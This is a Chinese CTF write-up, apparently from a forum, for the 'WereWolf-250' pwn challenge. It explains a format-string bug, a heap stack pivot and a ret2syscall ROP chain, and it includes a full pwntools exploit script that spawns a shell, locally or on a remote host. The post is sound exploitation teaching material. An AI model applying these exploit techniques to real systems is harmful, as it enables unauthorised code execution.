宣传一下自己的blog:
http://tacxingxing.com/2018/01/10/icq2018christmaspwnwerewolf/
希望大佬们轻喷。
题目地址:WereWolf-250
reverse
➜ workspace file werewolf
werewolf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=017d1e3c242c96d9c9073c650e91c531d53749ec, stripped
➜ workspace checksec werewolf
[*] '/mnt/hgfs/Binary/CTF/Shooting/ichun/Pwn/Were_wolf_250/workspace/workspace/werewolf'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Binary开启了NX与Canary
题目中没有提供libc,所以不要妄想找到题目的libc,肯定需要用无libc的方式.
首先逆向分析题目:
题目模拟了"狼人杀"-Werewolf这款游戏,其中每个role-角色都建立一个action存储用户的行为。
在heap上建立了一个存储rope的list,分别储存*action与action的length。
共有一下四种操作:
- add: 增加一个role
- edit: 编辑已有的role的action
- show:打印一个已有的role的action
- kill:删除一个已有的role
- edit: 打印bye~后退出
整体来说题目流程是比较清晰的,不难逆向。
vulnerability
漏洞触发在show函数中,是一个比较容易发现的格式化字符串漏洞
原本在2月场中在kill中出现的double-free被修补
利用该format string,因为我们可以无限次地edit一个role,再通过show打印出来触发漏洞
从而我们拥有了无限读写的能力 no limit read or write.
我们不考虑确定libc的地址,因为ichun之前题目的环境也是比较..,从来找不到确定的libc版本,所以考虑ret2syscall,通过泄露的一个libc地址确定syscall的地址,再通过stack pivot到heap中ret2syscall rop,最后spawn shell。
这里需要解决几个问题:
- syscall地址 : 可以通过读write地址的,计算偏移得到syscall的地址
- heap地址:通过printf前的stack结构,将0x6020A8写入栈,并通过foramtstring入出heap的地址
- 如何stack-pivot:首先需要劫持rbp为heap地址,之后通过leave等改变rsp,从而进行栈偏移
- 如何Rop:利用万能的init中的RopGadgtes
.text:0000000000400DB0 mov rdx, r13
.text:0000000000400DB3 mov rsi, r14
.text:0000000000400DB6 mov edi, r15d
.text:0000000000400DB9 call qword ptr [r12+rbx*8]
.text:0000000000400DBD add rbx, 1
.text:0000000000400DC1 cmp rbp, rbx
.text:0000000000400DC4 jnz short loc_400DB0
.text:0000000000400DC6
.text:0000000000400DC6 loc_400DC6: ; CODE XREF: init+34↑j
.text:0000000000400DC6 add rsp, 8
.text:0000000000400DCA pop rbx
.text:0000000000400DCB pop rbp
.text:0000000000400DCC pop r12
.text:0000000000400DCE pop r13
.text:0000000000400DD0 pop r14
.text:0000000000400DD2 pop r15
.text:0000000000400DD4 retn
scenario
最终的exp基本是按照上述的思路进行:
- 通过泄露write_addr,进行偏移计算得到syscall的地址
- 泄露stack地址,为format-string打栈做准备
- 泄露heap地址
- 修改栈中value,将stack-pivot的目标heap地址写入栈中
- 修改两处返回地址,如下图,进行Rop
- 顺利劫持程序流后,通过Ropgagtes 执行
read(0,elf.bss,0x3B)
后令eax=0x3b,并将“/bin/sh”写入
再次通过Ropgagtes执行execve("/bin/sh",NULL,NULL)
Spawn shell
最后,在写入栈中,我们用show函数中的rbp地址作为跳板,向栈中写入数据。
为了防止通信数据量过大造成阻塞,exp中全部用的%hhn
进行写入。
注意通过rbp跳板向栈中写value要从高地址向低地址写,这是由于程序本身造成的,调试可见端倪,不再赘述。
#/usr/env/bin python
#-*- coding: utf-8 -*-
from pwn import *
import sys
def add(size,content):
io.sendlineafter('5.Exit\n',str(1))
io.sendlineafter('inputs your size:\n',str(size))
io.sendafter('Input your action:\n',content)
def show(id):
io.sendlineafter('5.Exit\n',str(2))
io.sendlineafter('Input your id\n',str(id))
def edit(id,content):
io.sendlineafter('5.Exit\n',str(3))
io.sendlineafter('Input your id\n',str(id))
io.sendafter('Input your new action\n',content)
def kill(id):
io.sendlineafter('5.Exit\n',str(4))
io.sendlineafter('Input your id\n',str(id))
def cycle(number):
if number>20:
return number
else:
number = number+0x100
return number
def exploit():
log.info('leak libc syscall stack......')
bss_addr = 0x6020A8
add(0x30,'%3$p\t%12$p\t\n')
show(0)
io.recvuntil('action : ')
syscall = int(io.recvuntil('\t',drop=True),16)-0x2
log.info('syscall_addr:'+hex(syscall))
stack = int(io.recvuntil('\t',drop=True),16)
log.info('stack_addr:'+hex(stack))
temp = stack+0x20
log.info('leak heap address......')
payload = '%'+str(cycle((temp&0xff)+0x2))+'d%12$hhn\n'
edit(0,payload)
show(0)
payload = '%'+str(cycle(((bss_addr>>16)&0xff)))+'d%14$hhn\n'
edit(0,payload)
show(0)
payload = '%'+str(cycle((temp&0xff)+0x1))+'d%12$hhn\n'
edit(0,payload)
show(0)
payload = '%'+str(cycle(((bss_addr>>8)&0xff)))+'d%14$hhn\n'
edit(0,payload)
show(0)
payload = '%'+str(cycle(temp&0xff))+'d%12$hhn\n'
edit(0,payload)
show(0)
payload = '%'+str(cycle((bss_addr)&0xff))+'d%14$hhn\n'
edit(0,payload)
show(0)
payload = '%18$s\n'
edit(0,payload)
show(0)
io.recvuntil('action : ')
heap_base = u32(io.recvuntil('\n',drop=True).ljust(0x4,"\x00"))-0x10
log.info('heap_base:'+hex(heap_base))
log.debug("fake stack-pivot's stack.......")
payload = p64(0)+p64(0x400DCA)+p64(0)+p64(1)+p64(elf.got['read'])
payload += p64(0x3B)+p64(0x6020B0)+p64(0)+p64(0x400DB0)
payload += p64(0)+p64(0)+p64(1)+p64(0x6020b8)
payload += p64(0)+p64(0)+p64(0x6020b0)+p64(0x400DB0)
add(0x150,payload+'\n')
log.info("rop2.....")
temp = temp+0x28
rop2 = 0x400C8E
payload = '%'+str(cycle((temp&0xff)))+'d%12$hhn\n'
edit(0,payload)
show(0)
payload = '%'+str(cycle(rop2&0xff))+'d%14$hhn\n'
edit(0,payload)
show(0)
log.debug("change rbp address......")
pivot_address = heap_base+0xf0
temp = stack+0x20
payload = '%'+str(cycle((temp&0xff)+0x3))+'d%12$hhn\n'
edit(0,payload)
show(0)
payload = '%'+str(cycle(((pivot_address>>24)&0xff)))+'d%14$hhn\n'
edit(0,payload)
show(0)
payload = '%'+str(cycle((temp&0xff)+0x2))+'d%12$hhn\n'
edit(0,payload)
show(0)
payload = '%'+str(cycle(((pivot_address>>16)&0xff)))+'d%14$hhn\n'
edit(0,payload)
show(0)
payload = '%'+str(cycle((temp&0xff)+0x1))+'d%12$hhn\n'
edit(0,payload)
show(0)
payload = '%'+str(cycle(((pivot_address>>8)&0xff)))+'d%14$hhn\n'
edit(0,payload)
show(0)
payload = '%'+str(cycle(temp&0xff))+'d%12$hhn\n'
edit(0,payload)
show(0)
payload = '%'+str(cycle((pivot_address)&0xff))+'d%14$hhn\n'
edit(0,payload)
show(0)
log.info("rop1......")
temp = stack+0x8
rop1 = 0x400DC6
payload = '%'+str(cycle((temp&0xff)))+'d%12$hhn\n'
edit(0,payload)
show(0)
payload = '%'+str(cycle((rop1)&0xff))+'d%14$hhn\n'
edit(0,payload)
show(0)
log.info('layout .bss......')
payload = '/bin/sh\x00'+p64(syscall)
payload = payload.ljust(0x3B,'A')
io.send(payload)
io.interactive()
if __name__ == "__main__":
context.binary = "./werewolf"
context.terminal = ['tmux','sp','-h']
#context.log_level = 'debug'
elf = ELF('./werewolf')
if len(sys.argv)>1:
io = remote(sys.argv[1],sys.argv[2])
exploit()
else:
io = process('./werewolf')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
exploit()
结果:
[培训]内核驱动高级班,冲击BAT一流互联网大厂工
作,每周日13:00-18:00直播授课
最后于 2019-2-1 16:20
被admin编辑
,原因: